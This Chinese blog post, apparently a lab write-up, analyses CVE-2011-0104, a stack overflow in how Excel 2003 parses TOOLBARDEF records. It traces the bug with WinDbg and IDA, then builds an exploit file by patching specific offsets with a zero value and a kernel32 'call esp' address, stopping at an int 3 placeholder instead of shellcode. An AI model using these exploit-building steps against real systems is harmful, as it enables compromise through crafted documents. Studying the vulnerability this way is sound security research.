<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CVE-2011-0104 Excel TOOLBARDEF Record棧溢出漏洞分析與利用

    VSole2021-09-21 17:59:00

    簡介

    這篇文章重新回到棧溢出漏洞的分析,CVE-2011-0104是Excel在解析XLB文件中的TOOLBARDEF記錄時,未正確進行數據驗證導致的棧溢出漏洞。在進行這個漏洞分析時,我并沒有完全遵循《漏洞戰爭》中的分析流程,準確的說,我做了一些擴展,參考Abysssec的分析文章,從漏洞利用的角度進一步分析了觸發漏洞的文件格式,并對其進行修改,最后成功在我自己的環境下實現了漏洞利用。

    漏洞調試

    2.1 環境

    操作系統:WinXP Pro SP3

    Office: 2003 SP3

    測試文件:書中使用的是由src.xlb構造而成的exploit.xlb文件,但是我在實驗過程中,發現src.xlb文件一開始觸發的異常和書中更相似,可能是環境不同的緣故。由于引入了shellcode代碼后,棧中的數據會更加復雜,不利于分析。而src.xlb文件本身能夠觸發異常,已經足夠進行漏洞分析了,所以我選擇從這個文件開始進行漏洞分析。

    2.2 確定異常函數地址

    打開excel,使用windbg附加,然后打開src.xlb文件,程序中斷:

    (8e4.e2c): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=90909090 ebx=00000002 ecx=00000006 edx=3160ff00 esi=00000000 edi=00000400eip=300ce361 esp=0013aa24 ebp=0013aa8c iopl=0         nv up ei ng nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE -EXCEL!Ordinal41+0xce361:300ce361 8908            mov     dword ptr [eax],ecx  ds:0023:90909090=????????
    

    此時的棧中情況:

    0:000> dd esp0013aa24  0013c854 00000000 00000002 bcdcb8c10013aa34  0013aa8c 40000002 3bd5d6df 3bd5d6df0013aa44  00000000 00000000 90909090 909090900013aa54  90909090 90909090 90909090 909090900013aa64  90909090 90909090 90909090 909090900013aa74  90909090 90909090 90909090 909090900013aa84  90909090 00000000 90909090 909090900013aa94  90909090 90909090 90909090 90909090
    

    可以看到大量的0x90字節,已知這是一個棧溢出漏洞,所以大致可以猜出此時用于溢出棧的數據已經復制到了棧中,但是可能由于環境的問題,相關數據的偏移是錯誤的,所以才產生了異常。

    由于缺少symbol,很多信息都無法查看,直接在IDA打開EXCEL.EXE文件,定位到地址300ce361,可以找到這個地址所在的函數地址為sub_300CE252,直接按照書中的說法,定義該函數為crashFun。

    2.3 確定漏洞函數地址

    確定了異常函數的地址,這次重新調試,并在crashFun處設置斷點,到達后注意添加快照。根據之前的猜測,棧溢出就應該發生在這個函數調用之后,如果棧溢出的數據設置正常,應該會把這個函數的返回地址覆蓋掉,只是這里由于環境的問題,數據偏移是錯誤的,但是該覆蓋掉的數據應該還是會覆蓋掉,所以直接在crashFunc的入口處設置一個棧頂元素的訪問斷點(棧頂元素保存的就是返回地址),然后繼續執行。

    0:000> ba r4 esp0:000> gBreakpoint 1 hiteax=00000300 ebx=00000300 ecx=000000a8 edx=00000300 esi=3085d480 edi=0013aa9beip=300ce3c8 esp=001379dc ebp=0013aa3b iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206EXCEL!Ordinal41+0xce3c8:300ce3c8 f3a5            rep movs dword ptr es:[edi],dword ptr [esi] es:0023:0013aa9b=13c85400 ds:0023:3085d480=909090900:000> bl
    

    所以應該就是這里的rep指令在進行數據復制的時候,導致了棧溢出。rep指令的地址是300ce3c8,在IDA中找到這個地址,確定其所在的函數為sub_300CE380,沿用書中的說法,將其定義為vulFun。

    char *__userpurge vulFun@(char *dst@, char *a2, unsigned int a3, unsigned int a4){  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]   v4 = a3;  if ( !a3 )    return 0;  if ( a3 > a4 )  {    sub_300BF683(dword_3085C4B4, 6);    goto LABEL_15;  }  v5 = dword_30861408;  v6 = dword_3085D3F8;  dst = a2;  do  {    if ( v5 >= v6 )    {      v9 = v4;      if ( v4 > 0x4000 )LABEL_15:        v9 = 0x4000;      sub_300F975F(v9);      v5 = dword_30861408;      v6 = dword_3085D3F8;    }    length = v6 - v5;    if ( v4 < length )      length = v4;    qmemcpy(dst, (char *)dword_3085D400 + v5, length);// 這里發生棧溢出    v4 -= length;    v5 = length + dword_30861408;    dst += length;    dword_30861408 += length;    if ( !v4 )      break;    v6 = dword_3085D3F8;  }  while ( dword_3085D3F8 == 0x4000 );  return (char *)(dst - a2);}
    

    注意一下在vulFun中,qmemcpy函數在數據復制時發生棧溢出,而其中的length參數有兩個來源:

    length = v6 - v5;if ( v4 < length )  length = v4;
    

    而v6和v5是兩個內存中的值,v4來源于棧中的第二個參數a3。length就取兩者中的偏小值。不過從qmemcpy后面的代碼來看,整個數據復制的循環更像是由v4在控制,后續調試看看。

    在這里設置一個快照,然后回退到crashFun入口點的時候,注意crashFun對棧空間的分配:

    300ce252 55              push    ebp300ce253 8bec            mov     ebp,esp   // ebp <- esp = 13aa8c300ce255 83ec5c          sub     esp,5Ch   // esp = 13aa30
    

    在vulFun設置一個斷點,繼續執行:

    0:000> bp 300CE3800:000> gBreakpoint 1 hiteax=306def87 ebx=00002020 ecx=00000018 edx=00003f79 esi=00000004 edi=001379fceip=300ce380 esp=001379ec ebp=00139ad8 iopl=0         nv up ei ng nz na pe cycs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000287EXCEL!Ordinal41+0xce380:300ce380 53              push    ebx0:000> dd esp l3001379ec  306defad 001379fc 00000004
    

    此時棧中的第二個參數是4,第一個參數是001379fc,這是數據復制的目的地址,看來這次應該不是導致棧溢出的那次函數調用,但還是繼續跟一下,確定v6和v5是兩個值多大。

    0:000> peax=306def87 ebx=00000004 ecx=00000018 edx=00003f79 esi=00000004 edi=001379fceip=300ce397 esp=001379e8 ebp=00139ad8 iopl=0         nv up ei ng nz na pe cycs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000287EXCEL!Ordinal41+0xce397:300ce397 8b1508148630    mov     edx,dword ptr [EXCEL!DllGetLCID+0x10bda (30861408)] ds:0023:30861408=000000180:000> peax=306def87 ebx=00000004 ecx=00000018 edx=00000018 esi=00000004 edi=001379fceip=300ce39d esp=001379e8 ebp=00139ad8 iopl=0         nv up ei ng nz na pe cycs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000287EXCEL!Ordinal41+0xce39d:300ce39d a1f8d38530      mov     eax,dword ptr [EXCEL!DllGetLCID+0xcbca (3085d3f8)] ds:0023:3085d3f8=00003f7a
    

    這兩個值相差還是蠻大了,雖然會被修改,但是相差的量級變化不大,所以length主要還是由棧中的第二個參數控制。

    由于此次調用并不是導致數據溢出的那次調用,我們繼續執行,還是到達vulFun的起始位置。

    0:000> gBreakpoint 1 hiteax=ffffefe1 ebx=000000ff ecx=ffffcfc1 edx=00003f79 esi=0013aa3b edi=0000303ceip=300ce380 esp=001379ec ebp=00139ad8 iopl=0         nv up ei ng nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286EXCEL!Ordinal41+0xce380:300ce380 53              push    ebx0:000> dd esp l3001379ec  306df0e1 0013aa3b 00000300
    

    根據棧中保存的數據,此次數據復制的目的地址是0013aa3b,長度為0x300。還記得我們剛到達crashFun時記錄的棧頂和棧基址嗎?棧頂是13aa30,棧基址是13aa8c,所以這次數據復制的長度遠超過函數棧幀覆蓋的范圍,導致了溢出的發生。

    2.4 污點追蹤

    2.4.1 IDA中的分析

    接下來就是所謂的污點追蹤,查看導致溢出的數據長度0x300的來源。

    棧中的第一個元素306df0e1是vulFunc的返回地址,從IDA中查找,得到306df0e1所在的函數為sub_306DEEFE,也就是這個函數調用了vulFunc。

    在IDA中查看該函數,F5查看偽代碼有500+行,全都分析過來肯定不現實。大致瀏覽一下整個函數,關注以下幾句代碼(如果自己分析還是要去IDA里面看,但看下面幾句肯定看不明白):

    v71 = readData();...else if ( v71 == 0xA7 ){    v13 = readData();    ...    v73 = v13;    ...    vulFun((char *)&v50, (char *)v9, v73, -3 - v14 + v15);...
    

    有一個很重要的函數readData,位于0x300CE402。名字是我自己起的,從它的代碼來看,很明顯是在一個src處讀取數據。

    int readData(){  v0 = stream_length;  v1 = src_idx;  if ( src_idx >= (stream_length - 1) ) {    ...  }  else {    result = *&src[src_idx];    src_idx += 2;  }  return result;}
    

    我猜測這個函數就是在讀取xlb文件內容。這里注意一下,程序使用一個保存在內存中的數值作為src數組的索引值,這里命名為了src_idx,每次readData讀取兩個字節,這個值也會增加2,之后還會遇到這個值。

    接下來在函數sub_306DEEFE下斷點(就是這個函數調用了vulFun,我們把這個函數叫做call_vulFun),調試跟蹤一下。

    2.4.2 文件內容調試分析

    重新返回crashFun函數入口點的快照,設置斷點,繼續執行。

    在進一步單步調試之前,我們先看一下用來測試的xlb文件src.xlb的格式,使用py-office-tools對該文件進行分析:

    pyOffice.py -f src.xlb > src.txt
    

    得到結果很長,這里沒辦法都貼出來,但是里面有一些數據有助于我們在調試的時候進行定位:

    [*]Opening file ..\src.xlb[*]Listing streams/storages: Warning: OLE type 0x8 not in types [**]Detected Excel file ..\src.xlb********************************************************************************[*]Dumping Workbook stream 0x3f7a (16250) bytes... [ii]BOF record: current count 1[0]Record BOF [0x809 (2057)] offset 0x0 (0), len 0x10 (16) (Beginning of File)        WORD vers = 0x600 (1536)        WORD dt = 0x400 (1024)        WORD rupBuild = 0x1faa (8106)        WORD rupYear = 0x7cd (1997)        DWORD bfh = 0x500c9 (327881)        DWORD sfo = 0x406 (1030)[1]Record TOOLBARDEF [0xa7 (167)] offset 0x14 (20), len 0x4 (4) (Toolbar Definition:)        BYTE fUnnamed = 0xb0 (176)        WORD cbtn = 0xc0f (3087)        Field 'rgbbtndef' is variable length, dumping rest of record:            0000000000   00                                                 .[2]Record CONTINUE [0x3c (60)] offset 0x1c (28), len 0x300 (768) (Continues Long Records)        Field 'data' is variable length, dumping rest of record:            0000000000   40 DF D6 D5 3B DF D6 D5 3B 00 00 00 00 00 00 00    @...;...;.......            0000000010   00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90    ................            0000000020   90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90    ................            0000000030   90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90    ......................
    

    接下來開始調試,首先進入readData()函數

    0:000> teax=00000000 ebx=00000002 ecx=00000000 edx=00139a28 esi=00000000 edi=00000000eip=300ce402 esp=00139a18 ebp=00139ad8 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246EXCEL!Ordinal41+0xce402:300ce402 a1f8d38530      mov     eax,dword ptr [EXCEL!DllGetLCID+0xcbca (3085d3f8)] ds:0023:3085d3f8=00003f7a
    

    注意到這里的3f7a,就是結果中的[*]Dumping Workbook stream 0x3f7a (16250) bytes...,這一數值在之前確定v5和v6的時候也遇到過。

    接下來執行的代碼:

    300ce402 a1f8d38530      mov     eax,dword ptr [EXCEL!DllGetLCID+0xcbca (3085d3f8)]    // 3f7a300ce407 8b0d08148630    mov     ecx,dword ptr [EXCEL!DllGetLCID+0x10bda (30861408)]   // 這里保存的是索引值300ce40d 8d50ff          lea     edx,[eax-1]300ce410 3bca            cmp     ecx,edx              // 檢查索引值是不是超過了stream的范圍300ce412 0f8d20690200    jge     EXCEL!Ordinal41+0xf4d38 (300f4d38)
    

    一開始肯定是沒有超過的,所以并沒有跳轉:

    0:000> peax=00003f7a ebx=00000002 ecx=00000014 edx=00003f79 esi=00000000 edi=00000000eip=300ce418 esp=00139a18 ebp=00139ad8 iopl=0         nv up ei ng nz ac po cycs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293EXCEL!Ordinal41+0xce418:300ce418 0fb78100d48530  movzx   eax,word ptr EXCEL!DllGetLCID+0xcbd2 (3085d400)[ecx] ds:0023:3085d414=00a7
    

    注意這里就從偏移0x14的位置讀取了一個數值0xa7,也就是說此時src_idx的值為0x14,首先注意它是從哪里讀取的——3085d400,看一下這里的數據:

    0:000> db 3085d4003085d400  09 08 10 00 00 06 00 04-aa 1f cd 07 c9 00 05 00  ................3085d410  06 04 00 00 a7 00 04 00-b0 0f 0c 00 3c 00 00 03  ............<...3085d420  40 df d6 d5 3b df d6 d5-3b 00 00 00 00 00 00 00  @...;...;.......3085d430  00 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................3085d440  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................3085d450  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................3085d460  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................3085d470  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    

    如果在010editor中打開src.xlb文件,可以找到這部分數據位于偏移0x600處。如果和pyOffice的輸出結果做對比,可以發現這部分數據就是Record BOF [0x809 (2057)],緊跟其后的就是Record TOOLBARDEF [0xa7 (167)]。

    根據參考資料3中對xls文件格式的理解,在調用call_vulFun這個函數之前,程序應該是先提取出來了一個長度為0x3f7a的Workbook stream,然后由call_vulFun函數進行處理,BOF記錄標志著一個substream的起始位置,call_vulFun略過BOF記錄,讀入下一個記錄的標志(0xa7),根據這個標志的不同取值進行不同的處理。

    接下來續往下調試,會發現程序讀取了TOOLBARDEF記錄的長度0x4,此時src_idx的值為0x16,讀取完之后的值應該是0x18。

    之后程序通過vulFunc將這四個字節復制到了棧中,注意在vulFunc中,雖然沒有通過readData讀取數據,但是因為已知了記錄長度為4,所以直接將src中后續的四個字節讀取到了棧中,并為src_idx增加了四個字節,也就是說,此時src_idx的值為0x1c。

    ...qmemcpy(dst, src + v5, length);            v4 -= length;v5 = length + src_idx;dst += length;src_idx += length;...
    

    然后有一系列的if語句,但是判斷都沒有通過,最終到達了判斷tag是否為0xa7的語句,判斷通過。

    接下來有一系列的計算很有意思:

    306df004 833da01c863005  cmp     dword ptr [EXCEL!DllGetLCID+0x11472 (30861ca0)],5        // 這里保存的值沒弄清楚是什么,但是這里保存的是6306df00b 8d0437          lea     eax,[edi+esi]                // esi=00000004 edi=001379fc -> eax=00137a00  edi保存的是之前復制4個字節時棧的起始地址306df00e 0f9dc2          setge   dl                           // 根據比較結果,dl設置成1306df011 894574          mov     dword ptr [ebp+74h],eax     306df014 668b4701        mov     ax,word ptr [edi+1]          // 讀取TOOLBARDEF中的cbtn字段:0xc0f306df018 0fbff0          movsx   esi,ax                       // esi = 0xc0f306df01b 897538          mov     dword ptr [ebp+38h],esi306df01e 8d541202        lea     edx,[edx+edx+2]              // edx = 4306df022 0faff2          imul    esi,edx                      // esi = 0xc0f*4 = 0x303c306df025 8d4f03          lea     ecx,[edi+3]                  // ecx = 1379ff306df028 03f1            add     esi,ecx                      // esi = 13aa3b
    

    注意這里最后獲得的esi寄存器中的值,就是在2.4小節之前獲得的發生溢出時數據復制的目的地址。

    也就是說,程序在復制完TOOLBARDEF記錄中的四個字節數據之后,根據它的cbtn字段,將接下來的數據復制目的地址增加了一大段。這里我的理解是,TOOLBARDEF記錄中的len字段應該和cbtn字段是有關系的,可是這里的數據是自己構造的,len表示長度只有4字節,所以復制數據的時候只復制了4字節,但是根據cbtn字段計算的空間規模卻很大,導致程序把棧中一大塊未定義的空間當作了正常的數據。

    到目前為止程序執行的代碼如下:

    ...  v70 = 0;  tag = readData();                             // 讀取數據 得到0xa7  length = readData();                          // 讀取TOOLBARDEF記錄的長度,得到0x4  v76 = length;  v72 = 0;  v67 = 0;  if ( dword_30861C10 ) {    ...  }  else  {    (sub_30007AD0)(v47[0]);                     // 這里根據調試應該是在分配足夠的棧空間                                                // 直接將esp減少了0x2020    stack_start = v47;    v73 = v47;    v58 = 0x2020;  }  while ( tag != 0xA && tag != 0xC0 )  {    vulFun(&v53, stack_start, length, 0x2020u); // 讀入TOOLBARDEF的四個字節,放入棧中                                                // 接下來的幾個判斷都沒有通過    ...      else if ( tag == 0xA7 )                   // 直到這里,判斷通過      {        cntn = &stack_start[length];        v76 = &stack_start[length];        LOWORD(cntn) = *(stack_start + 1);      // 讀取TOOLBARDEF中的cntn字段:0xc0f        v61 = cntn;        new_dst_addr = &stack_start[(2 * (dword_30861CA0 >= 5) + 2) * cntn + 3];// 這里根據cntn得到了一個很大的偏移量        v71 = cntn;        four_bytes_end = (stack_start + 3);     // 指向的是復制的四個字節的結束位置        v75 = 2 * (dword_30861CA0 >= 5) + 2;
    

    接下來程序在循環處理這部分未定義的數據:

    0:000> peax=00137a03 ebx=000000ff ecx=00000000 edx=00000000 esi=0013aa3b edi=00000000eip=306df06c esp=001379fc ebp=00139ad8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202EXCEL!MdCallBack+0x280054:306df06c 8b08            mov     ecx,dword ptr [eax]  ds:0023:00137a03=90909090
    

    注意這里eax寄存器中的值為00137a03,本來TOOLBARDEF記錄中的四字節數據是復制到了001379fc之后的四個字節,此時eax已經指向了之后未定義的那部分棧中數據,得到了90909090。這個數據應該是之前有棧幀占用這部分空間,殘留的數據內容。

    在循環處理數據的過程中,每讀取一次數據之后,程序會做一系列的判斷和處理,最終發生棧溢出的數據復制操作就發生在這期間:

    if ( (v77 & 0x12F0000) != 0 && new_dst_addr >= v76 ){  ...  vulFun(&v53, new_dst_addr, v76, -3 - v17 + v18);   // 發生數據復制操作  ...}
    

    如果在306df06c這里設置一個斷點,然后執行,可以看到程序會多次斷在這里,eax的值不斷遞增:

    0:000> gBreakpoint 3 hiteax=00137a07 ebx=000000ff ecx=00000000 edx=00000000 esi=0013aa3b edi=00000000eip=306df06c esp=001379fc ebp=00139ad8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202EXCEL!MdCallBack+0x280054:306df06c 8b08            mov     ecx,dword ptr [eax]  ds:0023:00137a07=909090900:000> gBreakpoint 3 hiteax=00137a0b ebx=000000ff ecx=00000000 edx=00000000 esi=0013aa3b edi=00000000eip=306df06c esp=001379fc ebp=00139ad8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202EXCEL!MdCallBack+0x280054:306df06c 8b08            mov     ecx,dword ptr [eax]  ds:0023:00137a0b=909090900:000> gBreakpoint 3 hiteax=00137a0f ebx=000000ff ecx=00000000 edx=00000000 esi=0013aa3b edi=00000000eip=306df06c esp=001379fc ebp=00139ad8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202EXCEL!MdCallBack+0x280054:306df06c 8b08            mov     ecx,dword ptr [eax]  ds:0023:00137a0f=90909090...
    

    一開始讀取到的都是0x90909090,這個取值在進行v77 & 0x12F0000操作的時候,結果是0,因此不會執行到vulFun的位置

    同時在vulFun的位置設置一個斷點,然后繼續執行,

    0:000> gBreakpoint 3 hiteax=00137b67 ebx=000000ff ecx=929f0bb5 edx=00000000 esi=0013aa3b edi=00000001eip=306df06c esp=001379fc ebp=00139ad8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202EXCEL!MdCallBack+0x280054:306df06c 8b08            mov     ecx,dword ptr [eax]  ds:0023:00137b67=2cd5e9750:000> gBreakpoint 4 hiteax=ffffefe1 ebx=000000ff ecx=ffffcfc1 edx=00003f79 esi=0013aa3b edi=0000303ceip=300ce380 esp=001379ec ebp=00139ad8 iopl=0         nv up ei ng nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286EXCEL!Ordinal41+0xce380:300ce380 53              push    ebx
    

    當程序讀取到00137b67的位置時,獲得數值2cd5e975,2cd5e975 & 0x12F0000= 0x50000,可以通過判斷條件。

    按照之前的推斷,在執行vulFun之前,調用readData讀取到的內容應該是src中偏移src_idx,即偏移0x1c處的數據。為了確認這一點,回退一下快照,這次不要在vulFun的位置設置斷點,只在306df06c設置一個條件斷點,然后繼續執行:

    0:000> bp 306df06c "j (eax=137b67) '';'gc'"0:000> geax=00137b67 ebx=000000ff ecx=929f0bb5 edx=00000000 esi=0013aa3b edi=00000001eip=306df06c esp=001379fc ebp=00139ad8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202EXCEL!MdCallBack+0x280054:306df06c 8b08            mov     ecx,dword ptr [eax]  ds:0023:00137b67=2cd5e975
    

    之后開始單步,進入到readData中之后,發現讀取的確實是偏移0x1c處的數據:

    0:000> peax=00003f7a ebx=000000ff ecx=0000001c edx=00003f79 esi=0013aa3b edi=00000001eip=300ce418 esp=001379f8 ebp=00139ad8 iopl=0         nv up ei ng nz na pe cycs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000287EXCEL!Ordinal41+0xce418:300ce418 0fb78100d48530  movzx   eax,word ptr EXCEL!DllGetLCID+0xcbd2 (3085d400)[ecx] ds:0023:3085d41c=003c
    

    和pyOffice工具得到的輸出相對比,就是位于TOOLBARDEF記錄之后的CONTINUE記錄,用0x3c標簽表示。也正是0x3c這個數值,讓程序繼續執行到了后面的vulFun函數。

    繼續向下單步,接下來程序仍舊調用readData,讀取了CONTINUE記錄的長度為0x300,這個數值也會傳遞到vulFun中,作為數據復制的長度。注意到此時,由于讀取了兩次數據,src_idx的值應該是0x20。

    if ( (v77 & 0x12F0000) != 0 && new_dst_addr >= length2_ ){  tag = readData();          // 記錄的標簽  if ( tag != 0x3C )    goto LABEL_181;  length2 = readData();      // 記錄的長度  v17 = v75 * v61;  length2_ = length2;  new_dst_addr = v73 + v75 * v61 + 3;  // 這里根據cbtn再次計算了一次棧空間的地址,數值和之前是一樣的  v18 = sub_300ADBAB();  vulFun(&v53, new_dst_addr, length2_, -3 - v17 + v18);  if ( a5 && *(off_308595A8 + 11) )    sub_30481AF7(new_dst_addr, length2_, 1);  v14 = v72;  length2_ += new_dst_addr;}
    

    上面是IDA中獲得的偽代碼,可以看出在調用vulFun之前的基本流程,最后調用vulFun的時候,查看棧中數據:

    0:000> peax=ffffefe1 ebx=000000ff ecx=ffffcfc1 edx=00003f79 esi=0013aa3b edi=0000303ceip=306df0dc esp=001379f0 ebp=00139ad8 iopl=0         nv up ei ng nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286EXCEL!MdCallBack+0x2800c4:306df0dc e89ff29eff      call    EXCEL!Ordinal41+0xce380 (300ce380)0:000> dd esp l3001379f0  0013aa3b 00000300 ffffefe1
    

    可以看到復制的目的地址和長度。也就是說,程序會把src偏移0x20開始的0x300個字節的數據復制到0013aa3b的位置。

    所現在可以確定數據復制長度0x300來自TOOLBARDEF記錄后面的CONTINUE記錄的長度。

    漏洞利用

    3.1 幾個特殊位置的確定

    現在已經確定了0x300的來源,但是我還想要弄清楚后面異常發生的原因,怎樣構造exploit文件實現漏洞利用。

    到目前為止call_vulFun這個函數差不多看完了,因為異常發生在調用call_vulFun的crashFun函數中,所以我們可以直接跳過這個函數,回到crashFun中。直接在IDA中定位到返回地址的位置,下斷點:

    0:000> bp 306dfb550:000> gBreakpoint 4 hiteax=00000000 ebx=000000ff ecx=01b80000 edx=3160ff00 esi=00000000 edi=00000000eip=306dfb55 esp=001379fc ebp=00139ad8 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246EXCEL!MdCallBack+0x280b3d:306dfb55 8da544ffffff    lea     esp,[ebp-0BCh]
    

    注意這里我是在返回地址的前幾個指令下的斷點,因為在參考資料2中:

    Stack overflows are not hard to exploit at all ! but as we have both /GS , SAFESEH here. because given that we are destined to memcpy we can change it so that it begins to overwrite the stack after GS.

    所以我檢查了一下retn之前的幾句指令,發現它確實在做一個檢查:

    0:000> peax=00000000 ebx=000000ff ecx=01b80000 edx=3160ff00 esi=00000000 edi=00000000eip=306dfb5b esp=00139a1c ebp=00139ad8 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246EXCEL!MdCallBack+0x280b43:306dfb5b 8b8d2c0f0000    mov     ecx,dword ptr [ebp+0F2Ch] ss:0023:0013aa04=bcdcb8c1
    

    注意這里,程序從0013aa04中取出了一個數值bcdcb8c1,進行了檢查:

    0:000> teax=00000000 ebx=000000ff ecx=bcdcb8c1 edx=3160ff00 esi=00000000 edi=00000000eip=30002150 esp=00139a18 ebp=00139ad8 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246EXCEL!Ordinal41+0x2150:30002150 3b0d009e8530    cmp     ecx,dword ptr [EXCEL!DllGetLCID+0x95d2 (30859e00)] ds:0023:30859e00=bcdcb8c1
    

    如果檢查不通過程序就退出了。

    所棧中位置0013aa04的數值不能被修改。

    這下可以回到crashFun函數了。結束了call_vulFun函數的調用,程序流程很快就跳轉了發生異常的位置:

    300ce354 8b452c          mov     eax,dword ptr [ebp+2Ch] ss:0023:0013aab8=90909090300ce357 3bc6            cmp     eax,esi    // esi這里是0300ce359 7408            je      EXCEL!Ordinal41+0xce363 (300ce363) // 無法跳轉300ce35b 8b0da01c8630    mov     ecx,dword ptr [EXCEL!DllGetLCID+0x11472 (30861ca0)]300ce361 8908            mov     dword ptr [eax],ecx   // 發生異常
    

    注意到,程序從0013aab8的位置讀取了四個字節的數據,并與0進行比較,如果比較成功,程序會進行一些數據的更新,并成功執行到retn語句。但是這里比較失敗了,所以最終觸發了異常。

    我在調試的時候,手工把eax的值修改成了0,讓跳轉發生,并最終單步到達retn語句:

    0:000> peax=00000000 ebx=00000002 ecx=bcdcb8c1 edx=3160ff00 esi=00000000 edi=0013c854eip=300ce37d esp=0013aa90 ebp=90909090 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246EXCEL!Ordinal41+0xce37d:300ce37d c22c00          ret     2Ch
    

    注意此時esp寄存器的值為0013aa90,如果進行漏洞利用,我們希望這里保存的就是跳轉地址了,比如jmp esp指令。

    所以現在有兩個特殊位置的數據需要注意:

    ① 0013aab8地址保存的應該是0,這樣就能保證程序跳轉到執行到retn語句。

    ② 0013aa90地址保存的應該是jmp esp指令地址,之后可以放入shellcode的內容。

    在第2節的最后,我們已經確定,程序會把src偏移0x20開始的0x300個字節的數據復制到0013aa3b的位置。經過計算:

    ① 0013aab8位于src偏移0x20 + 0x13aab8 - 0x13aa3b= 0x9D的位置。

    ② 0013aa90位于src偏移0x20 + 0x13aa90 - 0x13aa3b= 0x75的位置。

    3.2 構造exploit文件

    根據上面得到的兩個特殊位置,我嘗試對src.xlb中這兩個位置的數據進行修改。

    3.2.1 確定返回地址

    首先確定jmp esp指令地址:

    之前在看Exploit編寫系列教程的時候,里面提到了一個工具findjmp.exe:

    C:\Documents and Settings\test\Desktop>findjmp kernel32.dll esp Findjmp, Eeye, I2S-LaBFindjmp2, Hat-SquadScanning kernel32.dll for code useable with the esp register0x7C8369F0      call esp0x7C86467B      jmp esp0x7C868667      call espFinished Scanning kernel32.dll for code useable with the esp registerFound 3 usable addresses
    

    3.2.2 修改src.xlb

    src.xlb文件中,對應于我們之前在IDA中的src的位置,是在偏移0x600的位置,也就是BOF記錄起始的位置。

    從這里開始找到偏移0x9D的位置,修改四個字節為00 00 00 00;找到偏移0x75的位置,修改四個字節為67 86 86 7c。

    由于程序最后執行的返回指令是retn 2Ch,所以在返回地址的后面要預留0x2C字節,再寫入真正的shellcode,我沒有仔細計算長度,只是預留了足夠的位置,寫入了0xCC,這里只做測試,所以先不放入真正的shellcode。

    修改好對應位置之后,重新打開excel,使用windbg附加,并在異常發生前的位置0x300ce354處設置斷點,打開測試文件:

    Breakpoint 0 hiteax=00000000 ebx=00000002 ecx=a6a9c99e edx=3160ff00 esi=00000000 edi=00000400eip=300ce354 esp=0013aa24 ebp=0013aa8c iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246EXCEL!Ordinal41+0xce354:300ce354 8b452c          mov     eax,dword ptr [ebp+2Ch] ss:0023:0013aab8=00000000
    

    可以看到程序中斷的位置,在0013aab8讀取數值為0,數據修改成功,單步繼續執行,到達retn語句:

    0:000> peax=00000000 ebx=00000002 ecx=a6a9c99e edx=3160ff00 esi=00000000 edi=0013c854eip=300ce37d esp=0013aa90 ebp=90909090 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246EXCEL!Ordinal41+0xce37d:300ce37d c22c00          ret     2Ch0:000> dd esp l10013aa90  7c868667
    

    注意到此時棧頂的數據是7c868667,正是我們之前搜索到的call esp指令所在的位置,數據修改成功,繼續單步執行,到達call esp:

    0:000> peax=00000000 ebx=00000002 ecx=a6a9c99e edx=3160ff00 esi=00000000 edi=0013c854eip=7c868667 esp=0013aac0 ebp=90909090 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246kernel32!`string'+0x23:7c868667 ffd4            call    esp {0013aac0}
    

    步入之后,到達了nop指令的位置,繼續向前單步,到達了我們設置的int 3指令:

